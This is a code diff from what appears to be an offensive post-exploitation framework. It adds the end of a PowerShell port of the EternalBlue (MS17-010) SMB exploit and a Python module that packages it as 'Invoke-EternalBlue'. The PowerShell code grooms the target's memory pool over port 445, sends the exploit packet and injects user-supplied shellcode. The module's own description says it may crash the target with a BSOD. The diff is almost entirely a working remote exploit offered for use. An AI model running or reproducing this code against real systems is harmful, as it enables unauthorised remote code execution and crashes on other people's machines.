+     function smb2_grooms($Target, $grooms, $payload_hdr_pkt, $groom_socks){
+
+
+         for($i =0; $i -lt $grooms; $i++)
+         {
+            $client = New-Object System.Net.Sockets.TcpClient($Target,445)
+
+             $gsock = $client.Client
+             $groom_socks += $gsock
+             $gsock.Send($payload_hdr_pkt) | out-null
+
+         }
+        return $groom_socks
+     }
+
+
+
+
+function smb_eternalblue($Target, $grooms, $Shellcode) {
+
+
+    #replace null bytes with your shellcode
+    [Byte[]]  $payload = [Byte[]]($Shellcode)
+
+    $shellcode = make_kernel_user_payload($payload)
+    $payload_hdr_pkt = make_smb2_payload_headers_packet
+    $payload_body_pkt = make_smb2_payload_body_packet($shellcode)
+
+    Write-Verbose "Connecting to target for activities"
+     $smbheader, $sock = smb1_anonymous_connect_ipc($Target)
+     $sock.ReceiveTimeout =2000
+     Write-Verbose "Connection established for exploitation."
+           # Step 2: Create a large SMB1 buffer
+           Write-Verbose  "all but last fragment of exploit packet"
+     smb1_large_buffer $smbheader $sock
+           # Step 3: Groom the pool with payload packets, and open/close SMB1 packets
+
+     # initialize_groom_threads(ip, port, payload, grooms)
+     $fhs_sock = smb1_free_hole $true
+     $groom_socks =@()
+     $groom_socks = smb2_grooms $Target $grooms $payload_hdr_pkt $groom_socks
+
+     $fhf_sock = smb1_free_hole $false
+
+     $fhs_sock.Close() | Out-Null
+
+     $groom_socks = smb2_grooms $Target 6 $payload_hdr_pkt $groom_socks
+
+     $fhf_sock.Close() | out-null
+
+     Write-Verbose "Running final exploit packet"
+
+     $final_exploit_pkt =  $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_exploit"  15
+
+     try{
+     $sock.Send($final_exploit_pkt) | Out-Null
+      $raw, $exploit_smb_header = smb1_get_response $sock
+      Write-Verbose ("SMB code: " + [System.BitConverter]::ToString($exploit_smb_header.error_code))
+
+     }
+     catch {
+      Write-Verbose "socket error, exploit may fail horribly"
+     }
+
+
+      Write-Verbose "Send the payload with the grooms"
+
+     foreach ($gsock in $groom_socks)
+     {
+        $gsock.Send($payload_body_pkt[0..2919]) | out-null
+     }
+        foreach ($gsock in $groom_socks)
+     {
+        $gsock.Send($payload_body_pkt[2920..4072]) | out-null
+     }
+         foreach ($gsock in $groom_socks)
+     {
+        $gsock.Close() | out-null
+     }
+
+     $sock.Close()| out-null
+  }
+
+
+
+
+$VerbosePreference = "continue"
+for ($i=0; $i -lt $MaxAttempts; $i++) {
+    $grooms = $InitialGrooms + $GROOM_DELTA*$i
+    smb_eternalblue $Target $grooms $Shellcode
+}
+
+
+}
\ No newline at end of file
diff --git a/lib/modules/powershell/exploitation/exploit_eternalblue.py b/lib/modules/powershell/exploitation/exploit_eternalblue.py
new file mode 100755
index 0000000..593b319
--- /dev/null
+++ b/lib/modules/powershell/exploitation/exploit_eternalblue.py
@@ -0,0 +1,108 @@
+import re
+from lib.common import helpers
+import pdb
+
+
+class Module:
+    def __init__(self, mainMenu, params=[]):
+
+        self.info = {
+            'Name': 'Invoke-EternalBlue',
+
+            'Author': ['Sean Dillon <sean.dillon [at] risksense.com>','Dylan Davis <dylan.davis [at] risksense.com>'
+                'Equation Group', 'kdick@tevora.com (e0x70i)'],
+
+            'Description': ("Port of MS17_010 Metasploit module to powershell. "
+                            "Exploits targeted system and executes specified shellcode. "
+                            "Windows 7 and 2008 R2 supported. "
+                            "Potential for a BSOD "),
+
+            'Background': False,
+
+            'OutputExtension': None,
+
+            'NeedsAdmin': False,
+
+            'OpsecSafe': False,
+
+            'Language': 'powershell',
+
+            'MinLanguageVersion': '2',
+
+            'Comments': [
+                'https://github.com/RiskSense-Ops/MS17-010',
+                'https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue',
+                'http://threat.tevora.com/eternal-blues/'
+            ]
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent': {
+                'Description': 'Agent to run module on.',
+                'Required': True,
+                'Value': ''
+            },
+            'Target': {
+                'Description': 'IP or Hostname of target ',
+                'Required': True,
+                'Value': ''
+            },
+            'MaxAttempts': {
+                'Description': 'Number of times to try exploit (increment grooms by 5 each time)',
+                'Required': True,
+                'Value': '1'
+            },
+            'InitialGrooms': {
+                'Description': 'Number of Initial Grooms',
+                'Required': True,
+                'Value': '12'
+            },
+            'Shellcode': {
+                'Description': 'Custom shellcode to inject, 0xaa,0xab,... format.',
+                'Required': True,
+                'Value': ''
+            }
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        for param in params:
+            # parameter format is [Name, Value]
+            option, value = param
+            if option in self.options:
+                self.options[option]['Value'] = value
+
+    def generate(self):
+
+        # read in the common module source code
+        moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1"
+
+        try:
+            f = open(moduleSource, 'r')
+        except:
+            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+            return ""
+
+        moduleCode = f.read()
+        f.close()
+
+        script = moduleCode
+
+        script += "\nInvoke-EternalBlue "
+
+        for option, values in self.options.iteritems():
+                if values['Value'] and values['Value'] != '':
+                    if option.lower() == "shellcode":
+                        # transform the shellcode to the correct format
+                        script += " -" + str(option) + " @(" + str(values['Value']) + ")"
+                    else:
+                        script += " -" + str(option) + " " + str(values['Value'])
+
+        script += "; 'Exploit complete'"
+
+        return script
\ No newline at end of file